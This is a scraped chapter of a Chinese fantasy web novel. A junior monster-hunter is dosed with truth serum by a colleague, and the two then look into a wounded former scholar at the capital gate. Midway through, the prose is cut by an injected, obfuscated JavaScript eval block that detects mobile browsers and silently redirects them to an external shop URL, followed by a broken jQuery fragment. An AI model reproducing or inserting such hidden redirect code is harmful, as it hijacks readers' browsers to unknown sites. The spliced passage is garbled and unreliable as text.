文趣网 > 其他小说 > 新来的不可能是冥界之主 > 10. 他是不是被女人辜负过?
    林星州嘴似乎微不可察张了下,随后眼神一转,没理她的话,走了。

    不生气,不生气!江潋晴安慰自己就当揩油了,外面那么多女人看着他的脸流口水,她没太亏~

    晨会时,抓妖司主厅站了百十号人,一个个都风姿卓越,气宇轩昂,江潋晴在其中就显得有点滥竽充数了。

    司长站在主位上畅所欲言,谈镇妖司的规章制度,江潋晴只是呆呆站着,一个时辰后,她已经神飞天外,人群四散,终于结束了。

    江潋晴快步走出了大厅,却别人一把抓住。

    “散会也不找我?”

    回头看到是林初瑶,朝着她笑,手中的小橘子也让她一激灵,今早的那满嘴的虎毛还历历在目,大小姐,我怕了你了!

    索性扯开后继续往前走。

    “诶?别走啊!”

    依旧不理。

    “好嘛,小橘子那么缠着你,我给你赔不是,怎么看见我跟看见鬼一样?”

    江潋晴终于停下脚步:“小橘子以后必须送灵兽园,不行的话我没什么好说的。”

    灵兽园是灵兽专门的饲养园,就在镇妖司,本来觉得如果不变回本体还可以忍受,但要求灵兽自觉还是她太幼稚了。

    林初瑶瘪了瘪嘴道:“但是小橘子这么可爱。”

    “不同意免谈。”

    “那好吧,我答应。”

    “咱们先去茶馆喝杯茶吧,正好咱们联络联络感情嘛?”

    江潋晴想起一年间频频因为试毒吐血的经历,不免质疑,也就是但如今她才知道,很多的毒她是完全没必要试的,镇妖司没有那么高的要求,纯纯只是因为林初瑶的恶趣味。

    走进茶馆,要了两杯龙井,江潋晴问道:

    “难道你想再给我下药?”

    “怎么会呢?你都通过考验了。”

    林初瑶咽了一口茶水笑道。

    江潋晴也饮了一口。

    “但我给你下了吐真水,这可是整个镇妖司新同伴合作前的惯例,这样才能放心把身后交给伙伴。”

    吐真水是朝廷审讯犯人的手段,喝了以后什么会说出来,这个江潋晴是知道的,但是她对江潋晴可全是不能说的想法啊!

    “你想知道什么?”

    林初瑶道:“看你什么事都憋着,这样怎么合作呢,说说你对我和我哥有什么怨言?”

    江潋晴当然知道在镇妖司,自己一个新人不能和前辈顶嘴,所以平时只是忍着,特别是林初瑶这种喜欢玩弄别人的性格,她自然是有怒气的,但这些说出来就是小心眼,狂妄了。

    但药的作用却让她无法控制了,最终她的嘴违抗她意志开口了:“你平时那么寂寞吗?是不是从小没人爱你,所以需要找我取乐?刚才我也发现了,整个镇妖司的人都视你如蛇蝎,你做人真失败啊!不过也是,连你哥也不想沾你半点。”

    江潋晴刚说完,林初瑶整个人直接愣住,平时看起来老老实实的,不多说什么,如今却能一招中了她的要害。

    林初瑶惊讶的发现自己居然被说哭了!不过这点泪对比平时林初瑶捉弄江潋晴的情况,不算什么了,江潋晴心中想着自己完蛋了,虽然都是事实,但是说出来就不是一回事了。

    “对我哥呢?”

    “他是不是被女人辜负过,每天好像别人欠他钱似的,那张脸也不会笑。”江潋晴已经破罐子破摔,而林初瑶已经笑的前仰后合了。

    “对对对!你也应该骂骂他!”

    “不过他倒是没被女人辜负过!就是从小就不太爱笑。”

    终于吐真水的药效没有了,江潋晴终于解放了,一转头,看到了沉着一张脸的林星州。

    她连钻的地方都没有,心说“我一定是出门没看黄历。要不然一定找人给自己驱邪!”

    “无聊。”两个字从林星州嘴里蹦出来。

    “相国府独子纪温书在刚出城门被袭,你们去处理他的事情。”

    林初瑶手中的茶水溅出来几滴,直接让她烫了一下:“就是那个翰林院学士纪温书?他不是辞官了吗?想当年他中了进士的时候,我还看了一眼,那气度,那容貌,多少姑娘为他倾心…”

    “正经点!”

    林星州直接打断,江潋晴却对此多了几分好奇,不由的竖着耳朵听着。

    林初瑶摸了摸怀中小橘子柔顺的毛发,眼中的陶醉淡去。

    “那就说正事,为什么普通的歹徒袭官的案件需要我们两个捉妖师出动,难道在京城也有妖存在,虽然我是很想见到他的啦。”

    京城有妖的话,凭着捉妖师的感应,是很难藏匿的,即使只是小妖在捉妖师的眼里,也格外明显。

    京城是安全区,这是所有捉妖师的共识,而如果有的话,就是足以瞒过所有人耳目的大妖,那必然是上头最为头疼的。

    林星州道:“这你不用多问。”

    说罢,他扬鞭疾驰而去。

    江潋晴和林初瑶刚到城门,看到聚在一起的人,七嘴八舌的在说着什么,那架势,一点都不比正月里的三姑六婆话少。

    一个四五十岁的妇人皱眉道:

    “这么俊的孩子,怎么遭这么大的罪哦!看的我心口疼。”

    另一个道:

    “你看,他眼睛还动了一下呢!大夫,你怎么也得治好他,太吓人了!”

    旁边的大夫则快速包扎着纪温书的伤口,对周围的动静不为所动。

    “对啊,到底是什么东西咬的,家里人知道一定很担心。”

    路过的一个姑娘挎着菜篮子也蹭进来看了一眼:

    “这不是三年前的状元郎吗!对母亲又很孝顺,虽然大人物们有几个背地里不爱美人,但他听母亲教训夜里从不在外面应酬,人品端正着呢!”

    “诶?你又是从哪里知道的这么详细?”

    姑娘道:“这样的好青年,我家当家奶奶可是挂心的很呢!就为了给我家小姐物色个如意郎君,这次他辞官,我家奶奶腿都快拍断了!”

    众人也跟着叹息:

    “是啊,为什么这么想不开呢?大好的前程!果然大人物的心思,我们还是看不懂!”

    “他娘得多伤心啊!辛辛苦苦培养的孩子就这样放弃了自己的前程。”

    姑娘道:

    “想来不知是不是因为相国的去世,才让他一蹶不振,失去了力气。”

    这时一个官差走过。

    “不过就是个懦弱的男人罢了,父亲死后,就完全没有力气自己站起来,就没想过家门的荣耀和母亲?要我是他,就珍惜自己拥有的,更得好好照顾好自己的母亲,他就这样辞官了?也值得你们可惜?”

    话刚说完,一个臭鸡蛋砸过来,显然他说话时机不对:“别乱说话!”

    官差只能气的青筋暴起,忍住拔剑的冲动走开了。

    看完这场闹剧,越过人群,江潋晴踮起脚尖,终于看到人群里是一个浑身染血的男人,一张温和端庄的脸,中等身量,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794545|210472||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    双目虚弱的闭着,就躺在离城门不远的地方,也难怪会聚集这么多的行人了。

    林初瑶还在旁边逗着自己的猫,也不知道她平时一个人是不是也这么悠闲,江潋晴穿过人群,在纪温书的身边蹲下来,这才清楚看到纪温书的伤势。

    整条左腿被似乎被什么东西扎扎实实咬了一口,即便是已经被大夫一层层包扎好,也还是隐隐有血迹慢慢透出来,他的脸色也是惨白,很难说后面身体会不会有什么情况。

    “大夫,他的情况怎么样?”

    大夫放下手中的纱布叹了口气道:“看伤口是被猛兽咬伤造成的,但是这京城门户能够遇到能造成这么大伤口的猛兽,我也是不得而知的,他的左腿伤口非常严重,能不能保住都要看他的造化了,这一个月都要静养。”

    京城能见到这样的猛兽?闻所未闻,只有一个答案,就是妖了!但具体的情况还是要问躺在地上的纪温书。

    江潋晴呼喊纪温书的名字好几遍,那双眼睛才慢慢睁开,眼中带着一些惊惧,随后开始大喊!

    “我不想再回去了!元玮!快跑!”

    他浑身战栗,似乎半梦半醒,人们看着口中那位天之骄子的从容被打碎,这真的还是那位年纪轻轻的天子门生?

    听到这话,江潋晴觉得不对劲,紧紧抓住他的手:“你怎么了?”

    这时,纪温书似乎才终于清醒,眼眸停在眼前关心的看着自己的女子,眸光似水,微微蹙眉的看着他,让他有一瞬间的慌神。

    很快他眼眸一转,看到周围围观的群众,大夫,随后剧痛的左腿提醒了他现在的处境,他的腿!虽然已经被包的很严实了,但那种几乎撕裂肌肉的感觉还是让他冷汗直流。

    江潋晴再次问道:“发生了什么?元玮又是谁?”

    纪温书这才意识到自己刚才意识模糊的时候说了什么,他嘴角苍白费力掩饰笑道:“没事,应该是刚才噩梦说的,你不用放在心上。”

    江潋晴很是疑惑,刚才的样子实在不像是在梦中,而且说不想回去?是回家?还是回官场?还是回其他地方?这些都有待调查,就在她准备起身离开的时候,却有人一把将她按了回去。

    她一看,正是林初瑶,给江潋晴翘了翘大拇指:“纪元玮是他的胞弟,新人!问得还不错嘛,像模像样!”

    说着,她就将手中的小橘子放下,小橘子也顺从的走到一旁乖巧蹲坐着,完全是昨天晚上迫害江潋晴的时候不一样,让江潋晴心中苦涩难言。

    林初瑶看着纪温书的眼眸问道:“真是好儿郎,可惜了!陛下留你都没留住,对自己的伤也闭口不言,都已经辞官了,你难道还想为了凶手隐藏什么?”

    江潋晴听了这话心里开始揣摩,辞官?为凶手隐藏?能会是为了谁?要么是因为害怕,要么是因为情义?

    纪温书却因为激动咳嗽起来,脸变得通红:“没有这回事,我只是被路过的野狗咬了一口。”

    这话就更加让江潋晴质疑了,刚才大夫才说了是猛兽袭击所致,也许寻常的官差看不出来,在捉妖师看来已经是很明显的事情了。

    但到他这里却一再地遮掩,再看他的眼神,带着慌乱,悲伤,无奈和几分的痛苦…

    林初瑶直接开口:“听说你可是大孝子呢!你这次辞官为什么没有带上母亲和唯一的兄弟纪元玮呢?”

    纪温书捂着胸口低着头平复呼吸:“家母因为在京城尚有要事处理,所以暂时停留,元玮…我没想过丢下他的。”